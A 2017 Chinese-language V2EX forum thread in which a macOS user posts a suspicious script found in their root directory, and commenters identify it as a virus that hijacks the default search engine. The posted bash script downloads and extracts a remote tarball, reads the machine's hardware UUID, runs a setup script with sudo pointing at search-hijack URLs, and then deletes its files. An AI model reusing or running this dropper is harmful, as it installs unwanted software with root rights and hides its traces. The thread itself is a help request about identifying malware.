V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
linlich
V2EX  ›  macOS

macOS Sierra 10.12.6 根目录下出现了一个 file 文件,无后缀,请各位大佬知道是啥

  •  
  •   linlich · 2017-08-24 18:21:39 +08:00 · 3506 次点击
    这是一个创建于 2682 天前的主题,其中的信息可能已经有所发展或是发生改变。
    #!/bin/bash
    func_4(){
    /bin/mkdir -p /var/tmp
    /usr/bin/curl -s -L -o /var/tmp/sr.tgz "http://c.setmacinstallmedia.download/static/sr/sr_v2.tgz"
    /usr/bin/tar -xzf /var/tmp/sr.tgz -C /var/tmp
    cd /var/tmp/dvs
    mid=$(ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformUUID/ { split($0, line, "\""); printf("%s\n", line[4]); }')
    
    COUNTRY="CN"
    if [ "$COUNTRY" == "AU" ] || [ "$COUNTRY" == "CA" ] || [ "$COUNTRY" == "US" ] || [ "$COUNTRY" == "NZ" ]\
      || [ "$COUNTRY" == "ES" ] || [ "$COUNTRY" == "IT" ] || [ "$COUNTRY" == "NL" ] || [ "$COUNTRY" == "FR" ] || [ "$COUNTRY" == "IN" ]\
      || [ "$COUNTRY" == "DE" ]; then
    	sudo ./setup.sh "http://www.searchitdown.com/?n=006&searchsource=55&UM=8&gd=SY1000653" "http://www.searchitdown.com/?n=006&searchsource=69&UM=8&gd=SY1000653" "http://www.searchitdown.com/Results.aspx?n=006&searchsource=58&UM=8&gd=SY1000653" "searchitdown" "upd" "http://i.firstinstallmac.club/c/cc?id="
    else
    	sudo ./setup.sh "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=hp&type=YHS_TGE_5a01fc&_=tt1" "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=nt&type=YHS_TGE_5a01fc&_=tt1" "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=ds&type=TGE_5a01fc" "snowbitt" "upd" "http://i.firstinstallmac.club/c/cc?id="
    fi
    
    CLIENT_COMP=""
    if [[ ! -z "$CLIENT_COMP" ]]; then
    	/usr/bin/curl -s -L -o /var/tmp/re.txt "http://i.firstinstallmac.club/is/if?i="
    fi
    
    func_taaVqst(){
    sleep 220
    rm -rf /var/tmp/dvs
    rm -rf /var/tmp/sr.tgz
    }
    func_taaVqst &
    
    }
    func_4 &
    
    10 条回复    2017-08-24 23:03:10 +08:00
    linlich
        1
    linlich  
    OP
       2017-08-24 18:23:53 +08:00
    请各位大佬指导。。
    MartinWu
        2
    MartinWu  
       2017-08-24 18:32:31 +08:00
    看起来像是往你电脑装些什么东西,。 但是`http://c.setmacinstallmedia.download/static/sr/sr_v2.tgz`已经失效了,所以也不知道里面装的是什么东东。
    hxsf
        3
    hxsf  
       2017-08-24 18:47:42 +08:00 via iPhone
    病毒啊 给你换默认搜索啥的 看后面几个链接 随便搜一下就知道了
    SourceMan
        4
    SourceMan  
       2017-08-24 18:58:49 +08:00 via iPhone
    是不是装破解软件送的病毒?
    linlich
        5
    linlich  
    OP
       2017-08-24 19:23:24 +08:00 via iPhone
    @MartinWu 对啊,路径下面的东西也被删了
    linlich
        6
    linlich  
    OP
       2017-08-24 19:24:13 +08:00 via iPhone
    @SourceMan 不知道啊,好流氓啊
    n6DD1A640
        7
    n6DD1A640  
       2017-08-24 19:24:27 +08:00
    jy01264313
        8
    jy01264313  
       2017-08-24 22:02:32 +08:00
    这么明显的病毒啊
    linlich
        9
    linlich  
    OP
       2017-08-24 23:02:33 +08:00 via iPhone
    @n6DD1A640 同喜同喜,已经格盘重装了,,,
    linlich
        10
    linlich  
    OP
       2017-08-24 23:03:10 +08:00 via iPhone
    @hxsf 重点是咋解决啊,反正已经格盘了
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   942 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 20ms · UTC 21:05 · PVG 05:05 · LAX 13:05 · JFK 16:05
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.